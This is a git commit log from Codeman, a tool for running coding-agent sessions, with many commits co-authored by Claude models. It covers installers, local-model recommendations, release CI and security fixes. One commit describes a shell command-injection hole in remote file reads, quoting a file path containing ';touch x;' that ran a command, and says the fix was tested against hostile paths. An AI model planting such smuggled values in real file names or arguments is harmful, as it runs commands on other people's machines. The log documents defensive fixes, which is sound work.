  payload: the hardware line, the server's headline, the pick with its numbers
  (context, download, memory need against the budget, speed), the server's
  notes, the other models that fit with their Good, Tight, Slow or Speed
  unknown labels, and one line saying that setting it up from Codeman is the
  next step and is not built yet.
- The welcome card ships hidden and shows only once the server answered for a
  Mac. It stays hidden for not-macos, for a refused request (a non-admin in
  multi-user mode) and after "Hide", a per-device localStorage key. The App
  Settings group "Model on this Mac" (Models) carries the loading and failure
  sentences and is the way back after a Hide.
- Every dynamic string goes in through textContent, both containers are
  data-i18n-skip and the module translates its own sentences, repainting on a
  language change. Sizes are printed as sent. Labels and harness names come
  from the payload: the module names no CLI and the word "Recommended" is not
  in it.
- One request a minute at most, shared while in flight; a failed refresh keeps
  the last answer on screen.
- i18n.js: zh-CN entries for the module's strings and for every server label.
- frontend-cli-no-id-branching.test.ts scans the new module.

Tests: test/local-model-ui.test.ts (JSDOM over the real markup),
test/local-model-i18n.test.ts.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:28:04 +01:00
Codeman maintainer 34e95ceb62 feat(local-model): GET /api/local-model and the harness facts
The read-only route behind the recommendation, and the one module that reads
the CLI registry for it.

- harness-facts.ts: one fact per catalogue harness row, resolved in the CLI
  registry at call time: the registry's label, `installed` from the existing
  availability probe (asked once per build), `installable` for a stock CLI
  whose install command for this platform needs no administrator rights, and
  `acceptsModelId`, the test a custom model launch applies to the model id.
  A row whose CLI is unknown, disabled or has no custom model mechanism gets
  no fact. No CLI id is compared with a literal.
- routes/local-model-routes.ts: answers { hardware, recommendation,
  catalogUpdated } in the usual envelope and reformats nothing. Admin only in
  multi-user mode (403), checked before anything is probed. A failed probe is
  an answer (200, the hardware's `source` says what was read); a 500 is left
  for a fault in the catalogue, the harness facts or recommend(). It writes no
  file and reads no setting.

Tests: test/local-model-harness-facts.test.ts,
test/routes/local-model-routes.test.ts (app.inject(), no port; the temp HOME
is byte-identical before and after the requests).

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:27:49 +01:00
Codeman maintainer 92c20fe572 feat(local-model): hardware probe, model catalogue and the pure recommendation
The core of the read-only recommendation: what this Mac is, what the catalogue
knows, and which model fits. Nothing is downloaded, installed or written.

- hardware.ts: one bounded async spawn of /usr/sbin/sysctl with seven keys,
  without -n, parsed as "key: value" lines by the pure parseSysctl(). Free disk
  of the data dir through statfs behind the bounded path probe. Fallbacks from
  node:os, a 60 s cache, never throws, never system_profiler. A wired limit of
  0 means "not set".
- local-model-catalog.ts: seven models, three harness rows (pi gated) and the
  chips table as a compiled constant, validated by a Zod schema on first use.
  No override file. Model ids are name:tag in lowercase without a slash; every
  model carries paramsB and an (empty) tested list. Chip names match on the
  end of the chip string, so 'M4' is not the chip of 'Apple M4 Pro'.
- recommend.ts: device budget (the wired limit when above 0, else 2/3 of
  memory below 36 GB and 3/4 from 36 GB, less the reserve), need = weights +
  KV cache + 1 GiB + prompt cache, fit good up to 0.85 and tight up to 0.98,
  speed ok, unknown or slow (a chip in no chips row is unknown), and the
  ranking. Verdicts ok, limited (best model under 12 billion parameters) and
  none with its reason. "Recommended" only for a pick with a tested entry for
  this Mac, which no row has today.
- types/local-model.ts: comments brought in line with the code (chip matching,
  budgetShare rounding, a budget of 0 on an Intel Mac).
- cli-registry-no-id-branching.test.ts: the guard also catches a comparison of
  a `cli` field with a CLI id (plus one stray blank line Prettier refused).

Tests: test/local-model-format.test.ts, test/local-model-hardware.test.ts
(the captured output of two real Macs), test/local-model-catalog.test.ts,
test/local-model-recommend.test.ts.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:27:33 +01:00
Codeman maintainer 73ce6a1819 feat(local-model): types and module skeleton for the hardware-aware recommendation
The contract three builders code against in parallel. Nothing is recommended
yet: the route answers 501 and the catalogue is empty.

- src/types/local-model.ts: HardwareFacts, the catalogue rows, HarnessFact,
  Candidate, Recommendation, LocalModelStatus, and LOCAL_MODEL_LABELS, the one
  list of sentences the server may put into the payload (the zh-CN dictionary
  is keyed by them).
- src/local-model/format.ts: formatGb, the one place a byte count becomes a
  size a person reads (decimal GB), and memClassGb.
- src/config/local-model-catalog.ts: the Zod schema (model ids are name:tag,
  lowercase, no slash) and an empty stock catalogue. No override file.
- Skeletons with their final signatures: hardware.ts, recommend.ts,
  harness-facts.ts, routes/local-model-routes.ts (injectable dependencies),
  public/local-model-ui.js with its script tag.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 14:56:13 +01:00
Codeman maintainer d6226385c0 fix(cli): a running server notices a CLI the installer just added
A running Codeman remembers a missing CLI for up to 5 minutes, so a status
poll never spawns a login shell, and its Run button reads that same memory.
So "Run fails, add the agent, Run again" kept saying the CLI was not
installed, right after the app had said it was ready.

install.sh now touches `cli-installed` in the data dir once a CLI has landed,
and resolve() leaves the backoff when that file's mtime changes. It is one
stat, inside the backoff branch, and buys one run of the chain, so a resolved
CLI never pays for it and a CLI that is still missing goes back to waiting.
Re-walking PATH during the backoff would have found hand installs too, but it
would put a synchronous stat of every PATH entry on the request path, where
one dead network mount freezes the server (#516), and execute candidates that
were already refused.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 14:25:34 +01:00
Codeman maintainer 84d5c8de52 Merge branch 'feat/graphical-installer' into integrate/desktop-763-with-gui-installer 2026-11-06 13:46:36 +01:00
Codeman maintainer 1157aa9ecd fix(install): say why an added agent failed on a Mac with no other agent
After "Skip for now" there is no other agent, so a failed add hit
install_offered_cli's gate first, and the app showed its first-install text
("re-run the installer") instead of naming the agent and its command. That
is the main path of adding an agent.

run_offered_cli now runs a trusted command and looks again; the gate stays in
install_offered_cli for the install, and `agent` judges its own run. The one
line that executes a trusted command is unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 13:46:31 +01:00
Codeman maintainer da2f12fdbd merge the agent chooser (feat/graphical-installer) into the integration branch
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 13:25:27 +01:00
Codeman maintainer dd07126dd8 feat(desktop): add a coding agent once Codeman is installed
The agent chooser only appeared during the install, and only on a Mac with
no agent. After "Skip for now", or with Codeman already installed, there was
no screen for it.

The same chooser now works after the install: "Add a coding agent" on the
This Mac tab, "Add a Coding Agent to This Mac..." in the app menu (it also
works from a Codeman page), and after a Skip the app says Codeman has no
agent yet before it opens Codeman.

`install.sh agent <id>` installs one agent and nothing else. It checks that
THAT agent landed: install_offered_cli is fatal only when no CLI is left, so
with another one present a failed install would have reported success.

The app runs it as a run of its own (`gui_install::Run::Agent`), in its own
temporary folder, so `ps` never reads it as "Codeman is being installed". It
may run next to a live server, which an install must refuse, and stops only
for another run. `--no-admin` goes to both `preflight` and `agent`: it decides
what counts as installable, so the two must agree.

CI: the bash 3.2 preflight check never tested anything. Its child run
inherited CODEMAN_INSTALL_SH_LIB and stopped at the sourcing guard, and a
false [[ ]] does not trip set -e on bash 3.2. Both are fixed for that check.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 13:23:56 +01:00
Codeman maintainer e9b2ecd552 ci(release): turn the GitHub release body into a readable page
changesets/action copies a CHANGELOG.md section into the release as it stands,
so a whole release rendered as one bullet behind its commit hash, with
`### Thanks` as literal text and "Minor Changes" as the only real heading.

The Release workflow now rebuilds the body from that section: Thanks first,
then What's new with a heading per change, Fixes, Also in this release and a
compare link, with "Behaviour change:" and "Breaking:" in bold. The release is
titled `Codeman <x.y.z>`; the tag stays `codeman@<x.y.z>`, which is what the
updater and the update toast read.

This cannot be written into CHANGELOG.md instead: `### <Type> Changes` is
hardcoded upstream, and a `## ` line would end the section for changesets/action
and versionSection(). So the changelog keeps its format and the toast is
unaffected. npm has already published when the step runs, so a formatter failure
leaves the changesets text with a warning and the retag still happens.

SECTION_LABELS is now shared with whats-new.mjs so the toast and the page agree
on what counts as a headline. docs/releasing.md records the changeset shape.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 13:11:22 +01:00
Codeman maintainer f66a9a574d ci: publish each release to the MCP registry
The registry does not follow npm, so every release waited on a by-hand
mcp-publisher publish, behind a browser login that expires between
releases.

Release now calls publish-mcp.yml once npm took a release. It signs in
with the workflow's OIDC token, which the registry accepts for the
io.github.Ark0N/ namespace, so it needs no secret and no browser. It skips
a version the registry already has, waits until npm serves a new one, and
can be run by hand with gh workflow run publish-mcp.yml.

The id-token right sits on its own job, which runs nothing from the
repository: it reads server.json and runs one pinned, checksummed binary.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 12:43:32 +01:00
Codeman maintainer a651616907 fix(custom-model): keep the launch model out of the stored config
Quick-start wrote a selection's launchModel into the session's stored
<Mode>Config, which is what a clear falls back to, so a clear relaunched
the CLI with the endpoint's model id on its native backend. Only API
callers can reach that, since no page sends a clear.

The first launch now takes the forced model from the session's selection,
through the same _withCustomModelLaunchModel() the respawn path uses, so
the stored config keeps the model chosen at create. That also carries the
model onto a new tmux session for a selection applied to a running
session, which the create path used to lose.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 12:41:32 +01:00
RandalixandClaude Opus 5.5 5cdd34bddf test: keep two tests independent of the host's locale and git ignore file
Four tests failed on a machine with a de_DE locale and a global git ignore
file, with no product change involved:

- custom-model-run-menu-ui (3): the warning formats counts with the runtime
  locale (131.072 under de_DE) and the tests hard-coded 131,072. The
  expectations now ask the same runtime through toLocaleString().
- git-worktrees (1): git also reads $XDG_CONFIG_HOME/git/ignore, which
  GIT_CONFIG_GLOBAL does not cover. A global ignore of
  .claude/settings.local.json kept the exclude line from being appended. The
  test now points XDG_CONFIG_HOME and GIT_CONFIG_GLOBAL away for the code
  under test.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 12:25:23 +01:00
Codeman maintainer fc25bf5f83 chore: version packages
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 10:44:35 +01:00
Codeman maintainer e9ab694a55 docs: record the file surfaces as the adopted session exception
Owner decision for 1.49.0: a container or ssh tab keeps using this
host's /tmp and paths, with gating planned as a follow-up.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 10:43:46 +01:00
Codeman maintainer 43fc7ea867 chore: reword the #510 line in the 1.49.0 Thanks
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 10:10:08 +01:00
Codeman maintainer c091d3fbad chore: narrow the right-to-left line in the 1.49.0 changeset
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 09:32:00 +01:00
Codeman maintainer 61e3410e83 fix(files): name the worktree switch button before a listing fills it in
The button sat empty in the page while its strip was hidden, which the
mobile accessibility suite counts as a button with no name.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 09:32:00 +01:00
Codeman maintainer 124d576398 test: count an adopted session in the pane history guard
#510 added the adopted case to the app.js condition this guard reads.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 09:32:00 +01:00
Codeman maintainer 12024ccac8 chore: one changeset for the 1.49.0 release
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:50:57 +01:00
Codeman maintainer 0ec3a37bdd fix(files): refuse a .git swapped for a FIFO or symlink at open
classifyDotGit() checked with lstat and then opened by name, so a FIFO
swapped in between the two blocked a threadpool worker. The open itself
now refuses both, and the handle is judged.

Reported on #772.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:49:03 +01:00
Codeman maintainer 9c39b2a9cc Merge #774 head 51264ec0 into the release branch
Takes the contributor's wording for the picker title and the toast, the
preview refresh after the preflight and the clearer 409 text, and keeps
the fuller tests and the invariants paragraph from the release branch.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:48:19 +01:00
Codeman maintainer 7054b7dfa8 fix: tell people to close adopted tabs before downgrading (release review)
1.48.0 reads an adopted tab as an ordinary session and drops every adoption
guard, and nothing in 1.49.0 can change what an older server does, so it takes
a line in the release notes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:42:02 +01:00
Codeman maintainer 1c2ac33f69 fix: add the changeset for the changeme refusal in Start-Codeman.sh (release review)
A Compose deployment still on the example password can no longer restart or
update through this script, and no changeset said so.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:42:02 +01:00
Codeman maintainer 9714ee79e8 fix: stop the home screen's tmux scan in a hidden tab (release review)
The poll had no hidden-tab gate, and the local scan's 5 s cache sits under the
8 s interval, so a single tab never hit it: every tick was a full socket sweep
(1.1 s and 772 forks on a box with 212 sockets) for a list nobody was reading.

`_foreignPollTick()` is now the one gate for the first load, the timer and the
return to a visible tab. The `visibilitychange` listener is stored and removed
in `stopForeignPolling()`, since this runs on every trip to the home screen.

Checked in real chromium with document.hidden stubbed: 2 polls in 9.5 s visible,
0 in 17.5 s hidden, 1 on return, and a tab opened in the background makes none
until it is shown.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:41:15 +01:00
Codeman maintainer 37dfb73b1e fix: flag a Files panel folder that did not answer the probe (release review)
A subfolder whose bounded probe answered `unknown` came back as `children: []`
with no `incomplete` and `truncated` false, so a dead mount, or a healthy one
slower than the 1.5 s probe on first touch, read as an empty folder and a
search missed it in silence. `unknown` is never `absent` (#516).

Such a folder now goes on the walk's `unread` list, which flags the node and
sets `truncated` in both walks. A folder the filesystem says is gone drops out
quietly as before. The row said "file limit reached", which would be false
here, so it now reads "Not fully scanned" for either reason.

Reproduced on a real disk with a parent at mode 0444, where the child's stat
answers EACCES: the API, the search and the panel all report it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:41:15 +01:00
Codeman maintainer f2f4952c34 fix: do not call the codeman-named skip the one silent case (release review)
Anything on a Codeman socket is left out with no line too, so the sentence
overclaimed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:29:56 +01:00
Codeman maintainer 20b62d68b8 fix: translate the Allow network access warning into Chinese (release review)
That description is the only warning that the switch weakens Codex's
sandbox, and it had no zh-CN entry. The test runs the real translator over
the real index.html.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:24:46 +01:00
Codeman maintainer 029378eb98 fix: mention adopting a hand-started tmux session in the READMEs (release review)
The largest new user-facing item was documented only in the wiki.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 24bfabc06e fix: carry the Edit history qualifier into README.zh-CN (release review)
README.md was corrected when remote Edit history shipped. The Chinese line
still said nothing is copied to the Codeman host, while a remote session's
diffs are stored there.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer e3369ae824 fix: name the writable Homebrew exception on the no-admin route (release review)
resolve_admin_mode keeps a non-admin Mac account on the system route when it
can write to Homebrew. The wiki and both READMEs left that out.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer c494ad93df fix: name codexConfig.networkAccess in the API reference (release review)
The field had no mention. It opens the sandbox's network and does not touch
codex's approvals, so it sits beside the sentence about them.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 27850af325 fix: list the two new multi-user restrictions (release review)
Adopting a tmux session is admin-only and Codex Allow network access needs a
grant. The multi-user page listed neither.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 3e5211e18b fix: note the silent skip of codeman-named tmux sessions and two adopted details (release review)
A session named codeman-* or claudeman-* on any socket is dropped with no
note, which contradicted the docs. paneCwd is absent for an adopted session,
and only a claude wrapper reports statusLineExporter.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 1c4cef1ccc fix: say how the git and Edit history routes answer an adopted session (release review)
The adoption section said every git route answers unsupported, but git-diff
and git-fetch-settings answer 400, and the Git status section listed only
remote and docker. Edit history's `adopted` reason was documented nowhere.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 9442ea8cf4 fix: remove the em-dashes this release added (release review)
105 new em-dashes sat in comments, test names and one test fixture from the
foreign tmux adoption work. Replaced by hand with commas, colons or
parentheses, one reading at a time. The fixture now quotes the real refusal
text, which says "It may still be running, try again."

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:20:39 +01:00
Codeman maintainer 9d2f9663cb fix: word the cases-folder refusal for Clone Repo too (release review)
Clone Repo's picker now offers New folder, and with the field empty Browse
opens in the cases folder, so the first press there lands on this refusal.
It pointed at Add Case > Create New, which cannot clone. The sentence has to
read right from every picker that offers the button, so it names both tabs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:11:38 +01:00
Codeman maintainer 436037e0e3 fix: offer New folder in Clone Repo's parent folder picker (release review)
Clone Repo's custom folder became a parent that must already exist (#774),
while its picker still had no New folder button (#761 turned it on for
Create New only). A parent that does not exist yet was refused with no way
to make it from the form, so the same job worked on one tab and dead-ended
on the other.

The test pin that kept Clone off dated from when the field was the exact
target, which could be a folder not yet created. Clone moves to the on side
of that pin, so every picker in the file stays covered.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:01:39 +01:00
Devvyn 51264ec0c0 fix(clone): state the empty-target requirement in the already-has-files error 2026-11-06 15:01:00 +08:00
Codeman maintainer ea5f6615c8 fix: name adoption in two refusals an adopted session gets (release review)
The Edit history panel told an adopted session it needed to be a Claude
session outside Docker, and a stop wait blamed the missing Claude Code hooks
on the mode. Both refusals are right, only the words misled. Each now says
Codeman did not start the session, with a zh-CN entry for the panel.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:45:30 +01:00
Codeman maintainer e7c68f1340 fix: let go of an adopted tab whose tmux session ended (release review)
When a foreign session ended, remain-on-exit kept Codeman's own tmux client
on the wrapper's dead pane, so the tab kept its pid and busy, input went
nowhere, both attach routes refused it, and a new session of that name only
led back to the dead tab. paneExit stays out of it by design.

The reconnect watcher's tick now detaches a client from a dead wrapper. That
is an ordinary PTY exit with status 0, so the pid goes null and selecting the
tab runs the attach again: it joins the target if it is back and otherwise
prints the existing guard text. Checked on an isolated instance and in a
headless browser: boot recovery, target gone, target back, view detached, tab
closed, and no restart loop while the tab sits unselected.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:44:22 +01:00
Codeman maintainer 82593a4dd6 fix: keep remote file reads out of the login shell's parser (release review)
The remote file reads ran under the user's login shell, quoted for a POSIX
one. Under fish the probe was a parse error, so previews failed, and csh and
tcsh failed every multi-line read. Wrapping the probe in sh -c as the review
proposed would have opened a hole: fish reads \' inside single quotes as a
quote, so nested shell quoting flips, and a path holding ';touch x;' ran
touch x (measured, also on the existing folder listing). csh and tcsh run a
multi-line command line by line, so a newline in a path did the same.

buildRemoteFileCommand now sends every script as one word of printf text
with those bytes in octal, and only sh reads it. Probe, folder listing, read,
range read and transcript lookup gave the same result under bash, zsh, dash,
fish, tcsh and csh in a throwaway container ($SHELL -c, no real sshd), and 24
hostile paths ran nothing. Plain csh caps a word near 8 KB, noted in the docs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:40:07 +01:00
Codeman maintainer 800b3f4658 fix: keep foreign probe parsing linear in what it reads (release review)
The parser and classifier run synchronously on the event loop over text a
pane, a container or an ssh host wrote, and one process could stall the
server for every session: 4 s for a 128 KiB argv of `/pi/` tokens, about a
minute for 2 MiB of socket rows.

The `cli.js` launcher rule leaves the signature regex for a per-word scan,
socket rows dedupe through a Set, the process row regex takes the `s` flag
(a bare CR made `$` fail and `\s+` give its spaces back, quadratic in a row),
argv and pane command are cut at FOREIGN_MAX_ARGV_CHARS, and one matcher per
scan answers each distinct argv once, since every pane of a hostile host can
claim the same process tree.

Measured on a private tmux server with the same 131 KiB argv: the largest
event-loop gap went from 3991 ms to 45 ms. The worst scan the caps allow
takes about 80 ms. Socket rows stay uncapped on purpose (see the docs).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:10:49 +01:00
Codeman maintainer 2c084966f1 fix: refuse one-shot prompts on an adopted session (release review)
`POST /api/sessions/:id/run` had no adopted gate, so while the wrapper had no
attached PTY it spawned `claude -p --dangerously-skip-permissions <prompt>`
in /tmp, a launch every other adopted route refuses.

The route answers INVALID_INPUT, and `runPrompt()` refuses too, which also
covers the legacy `sendInput()` path and leaves no direct spawn in Session
that an adopted session can reach.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:10:49 +01:00
Codeman maintainer 7e70f6f0c3 fix: keep an adopted session off the direct-PTY fallback (release review)
A wrapper that could not start fell back to a direct PTY: `claude
--dangerously-skip-permissions` or a server-account shell in /tmp on this
host, under a tab still carrying the foreign session's name, so someone who
opened an ssh or container session ended up typing into this machine.

startInteractive and startShell now fail the start for an adopted session
and leave `_useMux` on, so selecting the tab tries the wrapper again. The
`error` event carries the reason, since the browser's re-attach does not
read the route's answer. A session with no mux at all is refused the same
way.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:10:49 +01:00
Devvyn ec4c901190 test(clone): cover the preview refresh on URL input 2026-11-06 14:00:32 +08:00
Codeman maintainer 9b8f853c94 fix(custom-model): keep a session's own config dir conversation across an endpoint
A claude session on its own CLAUDE_CONFIG_DIR launched on an endpoint with
<isolated>/projects linked to the server's tree. The resume pin looks there, so
apply found no transcript and started a new conversation, and on clear the
endpoint's transcript stayed behind in the server's tree.

The link now goes to <own dir>/projects when the session set one, so the
conversation and what the endpoint run adds stay on the session's own account
across an apply, a clear and a restart. It goes through linkRealHomeEntry(),
which also creates a missing projects folder instead of leaving a dangling
link, in the own dir and in ~/.claude/projects on the default path. A relative
CLAUDE_CONFIG_DIR of the server gets no link, since joining it would create
projects under the server's working directory.

Rule #516: guardSessionConfigDirHome() now covers configDirVar, so all three
apply sites (route, quick-start, boot recovery) probe the own dir bounded before
the apply touches it, and a dir that does not answer falls back to the server's
tree. Under test, HOME is a temp dir and CLAUDE_CONFIG_DIR is stripped by
test/setup.ts, which a new test pins.

Measured on a real Codeman server with a fake claude: apply and re-apply resume
under the isolated dir with the transcript landing in the own dir, a clear
resumes on the own dir, the isolated dir goes while the transcript stays, and the
same holds across a server restart. The documented limits come out.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 06:10:41 +01:00
Codeman maintainer 5559aa8294 fix(remote): start csh and tcsh login shells without -i -l
A remote host whose login shell is tcsh came up on 1.48.0, when the local
sh rewrote ${SHELL:-/bin/sh} to the Codeman host's shell. Since #770 the
launch reaches the far end verbatim and runs tcsh itself, and tcsh refuses
-i -l -c, -l -c and -i -l, so every stock launch left a dead pane.

The login flags are now picked on the far end, in the shape of
loginShellArgs(): set -- -i -l, cleared for csh and tcsh, then
exec "${SHELL:-/bin/sh}" "$@". The text is one brace group, so
cd <path> && { ...; } still starts nothing when the cd fails. bsd-csh takes
every flag combination, csh is listed because it is tcsh on macOS and the BSDs.

The version probe keeps its one statement: the login shell parses it, not
/bin/sh, so fish and tcsh refuse it either way, as they did on 1.48.0.

Measured with the real builder on a real sshd in a throwaway Debian container
(tcsh 6.24.07, bsd-csh, fish 3.6, bash) and through a fake sshd with
tcsh 6.24.10, fish, zsh, dash and bash, a real Codeman server on tcsh included.
The tcsh disclosure comes out of the docs and the changeset. They keep the two
limits 1.48.0 had too: tcsh has no export, so the PATH bootstrap only prints an
error, and the tmux probe needs a command executable, which Debian lacks.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 06:05:53 +01:00
Devvyn a4bd35b704 fix(clone): refresh the preview after the preflight, tidy wording and the invariants paragraph 2026-11-06 12:45:55 +08:00
Codeman maintainer cd0bbc3e3a Merge #774 fix(clone): treat Clone Repo's custom folder as a parent, like Create New
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:37:14 +01:00
Codeman maintainer c65706a3e4 Merge #510 feat(adopt): adopt tmux sessions a human started, in all three locations
The attach line now takes the rule #770 gave remote and docker launches: bashCArg() single-quotes it at both respawn-pane sites, so it reaches bash verbatim. quoteAdoptLaunch is retired, since its double quotes kept the same $ and backtick safety but lost a real newline. #510's no-cd condition stays.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:36:20 +01:00
Codeman maintainer 7594c7fc0b fix(clone): keep the preview and the wording on the parent folder
The "Will clone into" line named a folder the request would not use: the
preflight replaces the page's guessed case name with the server's (for a
URL such as .../repo?tab=readme the guess is repo-tab-readme and the server
says repo) and nothing refreshed the preview, so it stayed on the old name
while the field and the request moved on. It is now refreshed there too.

The Browse picker's title and the empty-field toast still said "Choose the
folder to clone into", the old exact-target meaning. Both now ask for the
parent folder, matching the field's label.

CLAUDE.md and the invariants paragraph split the two meanings: path on the
API is the exact folder, the Clone Repo tab's field is a parent and the page
sends <folder>/<case name>.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:20:37 +01:00
Codeman maintainer aacf105cea Merge #614 fix(files): prevent large folders starving File Viewer results
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:04:44 +01:00
Codeman maintainer 76e40668fc Merge #766 feat: edit history panel for remote (SSH) claude sessions
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:04:19 +01:00
Codeman maintainer 44349395d0 Merge #753 feat(codex): let Codex sessions drive other sessions through the codeman skill
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:03:54 +01:00
Codeman maintainer 11208a153c Merge #768 feat(install): install without administrator rights (--no-admin)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:03:29 +01:00
Codeman maintainer a2c530b93c Merge #573 feat(docker): guided first run for the Compose deployment
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:03:04 +01:00
Codeman maintainer cddfc07550 Merge relprep/rtl fix(response-viewer): lay out Persian, Arabic and Hebrew right to left (#715)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:02:36 +01:00
Codeman maintainer 9ba5a89123 Merge #761 feat(picker): New folder button for Create New's custom folder picker
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:02:08 +01:00
Codeman maintainer f8832ec78f Merge #772 fix(files): list the git worktree an agent moved into
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:01:41 +01:00
Codeman maintainer 9751f51bdc Merge #767 fix(custom-model): give a session its own env values back when the selection goes
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:01:14 +01:00
Codeman maintainer 4d20b9c898 Merge #771 fix(pi): keep the mouse wheel working after a tab switch or reload
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:00:46 +01:00
Codeman maintainer 9e9031214e Merge #770 fix(remote): stop the local shell expanding the remote launch (exit 127 since 1.47.0)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:00:18 +01:00
Codeman maintainer 78b1cb26dc Merge #764 fix(cases): serialize every write to linked-cases.json
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:59:52 +01:00
Codeman maintainer 39d0e6c5ab docs: describe right-to-left rendering in the manual and the invariants (release review)
The wiki gains right-to-left notes for Last Response, the phone's Compose
editor and the rendered Markdown view, plus a Troubleshooting entry for the
#715 report: the terminal is xterm.js, which has no right-to-left support
(xtermjs/xterm.js#701). src/web/CLAUDE.md and the invariants now state the dir
pins, the logical-property rule and that the direction pass runs last.

The changeset claimed every file path stays left to right. It now says only
what holds: the paths the viewer links on its own.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:49:02 +01:00
Codeman maintainer 4413240c5f fix: set dir="auto" after the linkifier so code-only documents stay linear (release review)
`_renderMarkdown` wrote dir="auto" into its string, before the code pins and
the linkifier. An element carrying dir="auto" re-resolves its direction on
every insertion under it, and a block whose letters all sit in `dir` children
walks its whole subtree each time, so a code-only or path-only document went
quadratic, English ones included.

Measured in real Chromium through the real File Viewer, before and after:
9000 inline-code items 8.7 s to 0.35 s, 9000 bare paths 5.6 s to 0.23 s, a
209 KB out-of-workspace list 41.9 s to 1.4 s. All three now match master.

The pass is now `_applyBlockDirection()`, run last on the DOM by both
consumers. The direction results are unchanged. Tests pin that the rendered
string holds no dir="auto" and that the pass runs after the linkifier.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:49:02 +01:00
Codeman maintainer 2d7cd49449 fix: keep foreign discovery from throwing, and correct the adoption docs (release review)
candidatesFrom had moved outside the try when the transports moved to
runForeignProbe, so a classifier failure would have reached the route as a 500.
The module promises it never throws, so the guard is back for local and docker.

Docs:
- The api reference said `blocked` waits are always refused, and listed Ralph as
  refused while two of its file routes were not (they are now).
- The invariants doc and CLAUDE.md gain the rules this review turned up: target
  syntax in names, the ping before list-panes, nothing typed into an adopted pane,
  quoteAdoptLaunch.
- CLAUDE.md no longer says every claude session gets hooks or a stop wait.
